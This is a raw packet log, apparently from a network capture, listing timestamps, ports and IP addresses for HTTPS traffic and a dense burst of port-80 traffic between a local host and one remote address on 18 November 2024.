Nov 18, 2024 08:55:46.041490078 CET	49910	443	192.168.2.7	20.96.153.111
Nov 18, 2024 08:55:46.044625044 CET	49910	443	192.168.2.7	20.96.153.111
Nov 18, 2024 08:55:46.044641972 CET	443	49910	20.96.153.111	192.168.2.7
Nov 18, 2024 08:55:46.047089100 CET	49922	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.047135115 CET	443	49922	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.047219038 CET	49923	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.047231913 CET	443	49923	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.047233105 CET	49922	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.047282934 CET	49923	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.047447920 CET	49924	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.047472954 CET	443	49924	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.047532082 CET	49924	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.047657013 CET	49925	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.047686100 CET	443	49925	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.047753096 CET	49925	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.048192978 CET	49926	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.048199892 CET	443	49926	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.048341036 CET	49927	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.048348904 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.048362017 CET	49926	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.048507929 CET	49927	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.049165964 CET	49914	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.049185038 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.052232027 CET	49922	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.052253008 CET	443	49922	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.052491903 CET	49923	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.052503109 CET	443	49923	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.052732944 CET	49924	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.052767038 CET	443	49924	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.052900076 CET	49925	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.052912951 CET	443	49925	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.053163052 CET	443	49911	13.89.178.26	192.168.2.7
Nov 18, 2024 08:55:46.054395914 CET	49926	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.054419994 CET	443	49926	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.054795980 CET	49927	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.054806948 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.056545973 CET	49911	443	192.168.2.7	13.89.178.26
Nov 18, 2024 08:55:46.056643963 CET	443	49911	13.89.178.26	192.168.2.7
Nov 18, 2024 08:55:46.056704998 CET	49911	443	192.168.2.7	13.89.178.26
Nov 18, 2024 08:55:46.060642958 CET	49928	443	192.168.2.7	20.96.153.111
Nov 18, 2024 08:55:46.060659885 CET	443	49928	20.96.153.111	192.168.2.7
Nov 18, 2024 08:55:46.060744047 CET	49928	443	192.168.2.7	20.96.153.111
Nov 18, 2024 08:55:46.060952902 CET	49928	443	192.168.2.7	20.96.153.111
Nov 18, 2024 08:55:46.060971022 CET	443	49928	20.96.153.111	192.168.2.7
Nov 18, 2024 08:55:46.135566950 CET	443	49913	20.125.209.212	192.168.2.7
Nov 18, 2024 08:55:46.135654926 CET	49913	443	192.168.2.7	20.125.209.212
Nov 18, 2024 08:55:46.138039112 CET	49913	443	192.168.2.7	20.125.209.212
Nov 18, 2024 08:55:46.138057947 CET	443	49913	20.125.209.212	192.168.2.7
Nov 18, 2024 08:55:46.153852940 CET	49914	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.207087994 CET	443	49917	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.207616091 CET	49917	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.207679987 CET	443	49917	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.208365917 CET	49917	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.208378077 CET	443	49917	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.209422112 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.209461927 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.209481001 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.209501982 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.209512949 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.209515095 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.209577084 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.209578037 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.209606886 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.209640980 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.209661961 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.209673882 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.209675074 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.209686041 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.209697008 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.209708929 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.209708929 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.209708929 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.209729910 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.209769011 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.209770918 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.209783077 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.209804058 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.209819078 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.209825039 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.209837914 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.209846973 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.209847927 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.209846973 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.209867001 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.209867954 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.209884882 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.209920883 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210115910 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210127115 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210139990 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210151911 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210158110 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210163116 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210175037 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210179090 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210196018 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210197926 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210206985 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210218906 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210222006 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210237026 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210241079 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210251093 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210258961 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210261106 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210273027 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210283041 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210284948 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210294008 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210304976 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210305929 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210333109 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210344076 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210349083 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210350037 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210355043 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210367918 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210376024 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210380077 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210391998 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210396051 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210405111 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210417032 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210423946 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210427999 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210438967 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210452080 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210454941 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210462093 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210477114 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210489988 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210494041 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210505962 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210517883 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210536957 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210541010 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210547924 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210558891 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210562944 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210572958 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210592985 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210596085 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210608959 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210613966 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210619926 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210633039 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210643053 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210647106 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210669041 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210688114 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210697889 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210707903 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210709095 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210721016 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210732937 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210735083 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210747957 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210756063 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210758924 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210768938 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210772991 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210782051 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210793018 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210804939 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210830927 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210832119 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210854053 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210865974 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210884094 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210896969 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210906029 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210906029 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210923910 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210926056 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210937977 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210948944 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210956097 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210971117 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210975885 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.210982084 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210993052 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.210995913 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211004972 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211019993 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211045027 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211045027 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211074114 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211085081 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211096048 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211113930 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211142063 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211142063 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211160898 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211172104 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211182117 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211203098 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211222887 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211297035 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211306095 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211349964 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211391926 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211404085 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211416006 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211443901 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211451054 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211463928 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211463928 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211476088 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211493969 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211498976 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211525917 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211533070 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211538076 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211548090 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211551905 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211580992 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211581945 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211601019 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211616993 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211623907 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211628914 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211642027 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211653948 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211667061 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211667061 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211672068 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211678028 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211683989 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211687088 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211693048 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211699009 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211705923 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211711884 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211719036 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211747885 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211766005 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211776972 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211785078 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211806059 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211812973 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211839914 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211839914 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.211936951 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211977005 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211988926 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.211997986 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212017059 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212023020 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212028980 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212039948 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212040901 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212052107 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212058067 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212074995 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212080002 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212110996 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212122917 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212133884 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212152958 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212162018 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212163925 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212181091 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212179899 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212198973 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212204933 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212210894 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212220907 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212229967 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212234974 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212245941 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212251902 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212256908 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212266922 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212268114 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212279081 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212296009 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212306023 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212308884 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212310076 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212317944 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212328911 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212335110 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212347984 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212358952 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212368011 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212371111 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212387085 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212388992 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212400913 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212415934 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212425947 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212434053 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212434053 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212443113 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212459087 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212481976 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212518930 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212531090 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212574005 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212635040 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212646008 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212656975 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212666988 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212686062 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212691069 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212697029 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212708950 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212711096 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212719917 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212729931 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212732077 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212743044 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212754965 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212755919 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212766886 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212785006 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212795973 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212795973 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212795973 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212807894 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212826967 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212833881 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212846994 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212848902 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212867975 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212882996 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212898970 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.212899923 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212918997 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.212938070 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.213071108 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213082075 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213093042 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213104010 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213120937 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213124037 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.213139057 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213146925 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.213150978 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213164091 CET	80	49844	185.215.113.206	192.168.2.7
